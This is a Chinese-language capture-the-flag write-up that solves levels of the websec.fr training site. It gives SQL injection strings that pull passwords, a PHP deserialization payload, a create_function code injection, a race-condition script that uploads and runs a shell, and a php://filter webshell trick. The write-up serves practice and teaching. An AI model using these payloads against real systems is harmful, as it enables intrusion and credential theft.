websec.fr writeup

level01

sqlite注入
1 union select 1,sql from sqlite_master
找到password字段
0 union select 1,password as username from users where id=1

level04

unserialize 对象注入
最终回显的字段是username,使用as关键字

query='select password as username from users ';
$myarray=array('sql'=>$sql,'ip'=>'42.49.96.171');
$c=base64_encode(serialize($myarray));
print $c;
?>

level17

php strcmp() strcasecmp() 函数当传入数组时会某些php版本返回0

level25

http://websec.fr///level25/index.php?page=flag

parse_url
对严重不合格的 URL,parse_url() 可能会返回 false

level28

在1s中访问我们上传的shell。

import requests
import hashlib
from multiprocessing import Process

files={'flag_file':('flag.php','')}
data={'submit':'hah'}
url='http://websec.fr/level28/index.php'
url2='http://websec.fr/level28/'+hashlib.md5('{ip}}').hexdigest()+'.php'

def uploadshell():
    resp=requests.post(url,data=data,files=files)
def getpass():
    resp=requests.get(url2)
    print(resp.content)
pro1=Process(target=uploadshell)
pro2=Process(target=getpass)
pro1.start()
pro2.start()

level2

1111 ununionion selselectect 1,password frfromom users

preg_replace()只会替换一次,可以用 uniunionon绕过

level8

必须上传图片,
include_once()会执行php代码,在图片中添加php代码。
print_r(scandir('/')) 列出指定路径中的文件和目录 返回数组 ,使用print_r()或var_dump()打印
show_source('flag.txt')

level10

松散比较,构造一个hash值为0e开头的hash值,与0相等。

import hashlib
for i in range(1000000):
    s='.{0}flag'.format(i*'/')
    b=hashlib.md5(s).hexdigest()
    if b[0:2]=='0e':
        print s
        break

File=./////////flag
Secret hash=0

level11

子查询注入
user_id=2&submit=hah&table=(select 2 id,enemy username from costume)

level15

create_function()存在代码注入
;}print_r($flag);//

level22

var_dump($a)
$blacklist{579}($a)

level24

php://filter/write=convert.base64-decode/resource=my_file.php
php流协议,创建一个php base64解码的流文件
把webshell用base64编码上传到该文件,会自动解码。

level03

password_hash 遇到0字节仅对0字节前面的字符串加密
sha1($_POST[‘c’], false)将返回一个40位字符长度的16进制数字,而不是一个20位的字符串
当使用sha1函数对密码进行加密后返回的是16进制的字符串,如果字符串刚好有00,就会以00结束字符串。
sha1('wadaa')=7c0022af2ef5ee457ea9a8aba36d1b54b73085e0

level09

stripcslashes() 反转义字符串 \0 代表8进制,\x 代表十六进制
stripcslashes('readfile\x28\x27flag.txt\x27\x29\x3b');

level18

unserialize()注入对象
$data->input = &$data->flag; 引用传递 &

level07

字段取别名
1111 union select 1,d from (select 1 b,2 c,3 d where d in(4) union select * from users where id between 1 and 1)

你可能感兴趣的:(websec.fr writeup)